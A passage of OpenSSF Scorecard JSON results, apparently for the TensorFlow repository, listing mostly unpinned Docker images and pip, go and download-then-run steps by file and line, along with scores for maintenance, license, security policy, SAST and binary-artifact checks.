python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: 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pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:62","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:65","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:75","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:79","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:82","Warn: pipCommand not pinned by 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: 